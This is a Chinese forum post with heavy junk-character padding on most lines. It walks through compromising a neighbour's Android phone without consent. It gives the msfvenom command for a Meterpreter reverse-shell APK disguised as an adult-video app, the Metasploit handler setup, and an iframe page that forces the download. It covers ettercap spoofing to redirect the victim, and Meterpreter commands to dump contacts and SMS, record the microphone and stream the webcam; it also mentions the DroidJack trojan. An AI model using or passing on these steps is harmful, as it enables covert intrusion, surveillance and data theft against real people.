|
V) {* X( N7 l0 s! g& X0 j9 H 五、msf+ettercap入侵邻居安卓手机
g6 O9 X2 o3 H3 ?8 _8 B E. x( v
/ C& @5 ^* K6 v7 }) S: p
3 G" z7 s. r$ Y9 ^0 U 首先启动msf
* T: y* ~7 d% I' a; b$ U5 r2 H& @
) f" Y& O9 O8 {+ |$ Y7 B7 ]' i8 s) r7 H
- B! C" |: m0 Z 先用kali生成一个安卓木马，如下命令：
7 K% {1 w6 n2 F2 k $ B6 D+ ]0 a! ^5 Y/ i5 w* W
5 o; x) b8 z5 z9 _% f Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
3 j4 r0 w. a0 k! O& O
6 U4 X* l( z0 F
( c6 I7 B- q. A4 i, }2 X  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 + N2 d4 W3 C7 S( |4 }: ?( c9 S; N
% [1 ^) v3 p1 K+ H
* c O8 S% j: b1 w 然后进入msf * ]1 Q" K8 [! a
' v K8 ]: s/ I
- ^5 g' t! J P) x use exploit/multi/handler [3 D3 T& o5 }. n4 t
7 @. ]# {; F2 E3 _) z a7 w
9 g9 x2 P2 `# Y. j set payload android/meterpreter/reverse_tcp I/ p8 a T. q- A+ N0 j
- {' T" X$ M% W( `2 e
! g+ h4 R3 O: F1 ~
set LHOST 192.168.0.109 //ip为kaili的ip 5 x7 i. {/ D. H
' k1 f2 ]0 D. e* _5 h9 E) X+ c1 p
5 s" q9 u3 h7 B+ c7 y S set LPORT 44444 //端口一定要与前面生成的木马的端口一致
2 b# c, X/ \! ]) M q, V1 [ I
, E$ _# L* |6 M. @* ~1 o* I: D- I z3 w# u* |2 Z
Exploit % c4 ~+ V% F; x: z# |% E$ _- e
, @" U5 V7 q# h* s+ P$ ?+ [
e5 f5 t# K% w5 |1 h x4 Z' b5 a
' i- p$ B" s" g( e: F' k
4 t1 l" q0 K3 ^& C$ A# u( l9 U8 q( X6 I6 s# K
下面我们开启ettercap -G K `: [. V+ b
) }3 z* H1 o, ?' e9 M# P
/ O- k3 H# \6 u& u2 t: d) ?
我物理IP为
% {2 p$ ?( g1 d S( _ % z* V; \( n5 e7 D: V
2 Y! i8 l' G- _  8 F/ ]4 i% f# l; L0 A) m
5 ?/ m W. s$ g- Z& |
6 G8 T3 L' f5 n! g$ U 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 8 A( D2 J) v( g
+ P! I E# B- L4 t/ s( f3 r6 N/ ]$ p. I: |) f
下面我们来设置一下
. @+ X+ W5 J1 S 2 Y- p5 J* s I6 J6 w
8 l: V h2 A m x" t 
: {; m. i1 S2 C4 j
8 E% s- \: n4 H+ }& x/ A
) A' h. z$ a: X% R- v0 q 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
( ]1 E; Z. z: G" N' Q; w2 u! u
+ f' A9 _3 m! @3 \& x3 }5 N
1 [7 C8 R$ a0 @* e
* Y! M$ @) W8 G, } & ~$ e2 M8 a5 E
, O R: H# W& X. m- h+ u! l
 # L l2 z% B- b
8 L% R/ A% e; }" t3 m+ P' |
1 Z- l3 _ q! A7 a
* ^, Y8 o( _+ h) f
+ ?1 O" w7 p8 Y3 J- m: x9 a) Z/ x
3 F% m( J4 C: V+ ~+ t
K- N% Y( E9 s% V, h- v: E
7 D7 c- s; g1 u P. V2 t. r% W
/ c1 E( j- P: g, j
9 D' l2 {( x) v- j+ E/ k* q
5 Y2 V1 _3 \4 e% i
5 a& a( X8 Y- |1 }5 I
2 r6 ?- c3 m4 K2 [0 Z1 ]3 B. A8 K1 t
6 u1 L& w; h+ b% G8 p
+ w3 o2 c( n. v6 h 6 U# r6 O8 O1 C. m$ R# }2 a
4 |8 f3 U2 f6 L3 ]. n, ] @$ D+ o9 z
- `6 o: A( x* h* c: C
7 c% M' C( j8 |) n
7 T$ H0 d6 o, B- L6 ?5 U; B/ [
l" b6 a$ @3 s $ W# g8 M. B+ W8 L3 e
5 `- f7 [* T: ]- @- ]) I
1 P0 c& e4 k# g! ?/ F
& g+ v5 \6 u( O ?) a1 e7 g. f; {2 |( _
; Z. F7 E2 R4 e' m+ ?9 x
3 E% X$ U- b; f4 S5 s+ k- I 9 n# O$ L v: `
. B7 Z7 o6 S, }
- ^( \8 z+ n2 X : R l5 F( M/ h0 ?# P7 J
% [7 G, d! W+ ]7 l( O0 t
9 s/ ]# O4 B4 {9 ` T2 p! @; J7 ]7 m8 R' w7 x/ l5 j8 `
7 v3 D& \5 l' Q6 A: I
下面我们开始攻击 2 v$ g/ V* G/ x6 D/ c( v
- a0 _ \' e5 r, j1 \/ w, k0 x$ @* f7 k! |; E9 C2 [
8 ?5 o) ]/ ]8 _* g4 C3 b+ R
% \- [4 h; G7 J3 R
5 P, r. ]" L4 ?% d7 b$ f8 P
: @6 S) V; l; k0 T5 w5 F
% z+ U, j, f- @' L: [
7 Y( B7 B% Z+ ^) f9 ~5 I. @
' I' `+ w# D c& Q0 N6 |* \# b" w& h
! W$ m) x, o; |( ^2 Q- p# F1 g- T. ]0 a4 v7 T
1 D L2 X# ]: u# ], d% C
) @4 I2 R% Z' r) V0 {, e# N. }
. w, b' s- l+ b8 a% m) f# @ 
# W& F* w7 n. j$ r$ E1 H
2 @: |! T4 @" S0 ]/ P# Y
/ X" r( c9 O3 ^' W 大概过了5分钟多，发现反弹成功了
4 W; E1 Y$ R* r% ?8 b0 b
8 A0 k/ o/ ]: I. ~0 H7 }4 R i
7 X! u- B/ t; y5 y& s 9 T" {9 `+ v7 y% v$ l
D9 G) x& F0 Q" b# \2 u& e0 @" P) ~$ p5 y
9 u5 I% E: R- s0 M0 g
- K8 m, P; i2 X; h" C1 E
( t6 D: w W( `- a' g- u+ r
! ^0 p- t( r) O& Q! S+ E
2 @, n: P! V9 T D. A
$ q6 a& W; u2 i1 D' J/ q 5 A5 T. m" h% ~: B
# Z* ^% O. G# ^+ N: V
8 x; x, D# i. j4 B6 t3 ]( M6 j
3 B. Z- q) O) o- E
8 i [+ Y! v" D8 z' Q. n% C
4 U( N1 ~& u+ @8 `; F P9 m: }3 T& }' `
$ p% x/ X. O0 \1 F$ D
% Y2 f9 }9 E& ~6 U j5 ? J& z& \8 g) u& E0 R/ \6 k
 ; u2 h l0 x; n/ |- L6 m
- c2 G1 j) J. ]! ]; ?9 E0 i5 d7 j
^7 ], t4 ?4 z( \3 h 执行命令
7 O6 E7 r1 r4 o/ k$ V* ?# P4 o! G7 T
! h5 F% p% s0 {7 X
- N4 P/ w" z! B; R ) h& h$ F6 ^- W# ?" L: c6 G, {
, W( B4 E& X A: ^
* N! H8 g$ ^: D4 V. O H L; Q) W dump_contacts --》这个是导出电话
$ _6 ]. u" x, k 8 e( Y$ g" F- B4 ` [" a% P! v
7 S+ U2 e0 K. d7 K, i
dump_sms --》这个是导出信息
% K8 \: Z& d0 L6 t B / o2 w3 a% x' S* T/ t* Q) f- c
2 w) m$ G" K9 E8 S
record_mic Record audio from the default microphone for X seconds
k- @9 M1 B7 D m$ l+ ^# H
) O' y( ?5 E4 \2 D! j
" S5 J* h' H- i4 O1 @7 g3 ] webcam_chat Start a video chat
. d$ N; L2 S+ u9 @1 X5 b& T! q 0 Y* n( G. b7 \7 p
! U) ]/ O6 ~" M, V6 `3 g webcam_list List webcams 6 J) y v5 H+ m0 g9 G) m
3 q- Q$ j4 T3 d# r" L& Q
2 V6 j$ S7 n- A _' O% @7 r/ ? webcam_snap Take a snapshot from the specified webcam
0 p7 Z0 z$ L, t% p: ?3 Q& W; O
! U% X. Y: |- h1 \0 n0 w$ M' t% q" ]& j3 N6 r" z$ m9 l# h' D" _& R
webcam_stream  lay a video stream from the specified webcam
0 K+ G& G) h/ t) e ; n t+ O$ n) x( ~
/ m* V% I& ~6 W
7 e* j1 c6 X, C$ M % E" f0 u8 F( J4 U
* D) h0 @& n* w6 y) \) T
# T) v7 J/ b% Y5 ^0 D( {+ q ; c" S3 V5 j7 I& D4 t; A$ U. x9 r
9 U) m1 j/ }% W6 L( f$ |; n2 ]
我们打开看一下电话薄， ) G. ]. Z% j* a% v" U
! f& U8 T( a# q5 S- F: {7 E
4 M* C! @; k9 M% ~+ G! o/ B6 ^3 _9 N M
2 ^# N; p! g; f
% t& z! c* D K( a6 O% I" x# W- g0 [% q; K
/ `* S$ W6 N9 ~8 c - p) ]1 u: R8 y% h5 ~
7 l! u5 ~2 \9 X2 Z! I 8 w" U5 F# I3 _, M
! F3 j7 j! Q1 x; c8 o+ K
! W/ o. h' V- R" Y1 r  $ a6 a. t7 X" F: O
6 [: T9 \2 I% {. O
( k' S! ~; U- m/ X  ( u+ t8 Q3 t4 F' K0 Q
9 E* b0 E& f! z7 w0 Y9 |2 V; \5 b9 o' l/ O4 l5 G# Z
$ V3 `$ H! C4 V( E) s
- \( A; @- ^2 F1 T1 _" {. k. S+ H- e* c% T" ^" p* V+ \* c
我们同时欺骗成DroidJack木马，使用方法如图： / Q0 p; X; Q9 F& M4 s, x
, o' c. M! I8 j- W5 o$ s9 P
. ]- \# \0 d7 ~$ k& h. |! O  % B" d0 n4 q9 S8 d- U; O
! X8 y5 I, S( h1 c
/ D% w5 y9 Z' y7 a2 X8 U: R0 V" G
3 x& F# O4 t# A# H% I* | ! h$ W; k8 E9 o! J& q& K
+ W. m: p1 n( [, x6 M- Y  & O X1 n7 s& w- M5 T
6 J2 {0 i1 G! A9 h2 A+ q, Q3 G2 e! a6 g) ]( s" c* u
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 9 ?, w6 i/ `! ?8 X- c( r
1 \0 ` n S7 u" u
7 W1 P- _3 S+ h D4 W3 P  % z. @: C0 {8 m
& z% @5 ?/ A! \; J2 R1 j, ?8 H" V' N9 g" |( Y; m* m
 & S1 V- \) D0 ]
# S0 ]9 z" L. c# A$ ?
" U# `% r0 s( D P 
8 |$ ]3 p5 {, F& N, @8 ^ 7 W. y: M/ @" C& R }& n
( b T0 ]4 H8 h% r& c1 a: t  
# a+ `2 w# ~- [
5 b u0 J1 |( J; p& V0 p4 S
: b C% b* t* i4 s2 R
9 X1 B* g @( Z0 C$ A
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对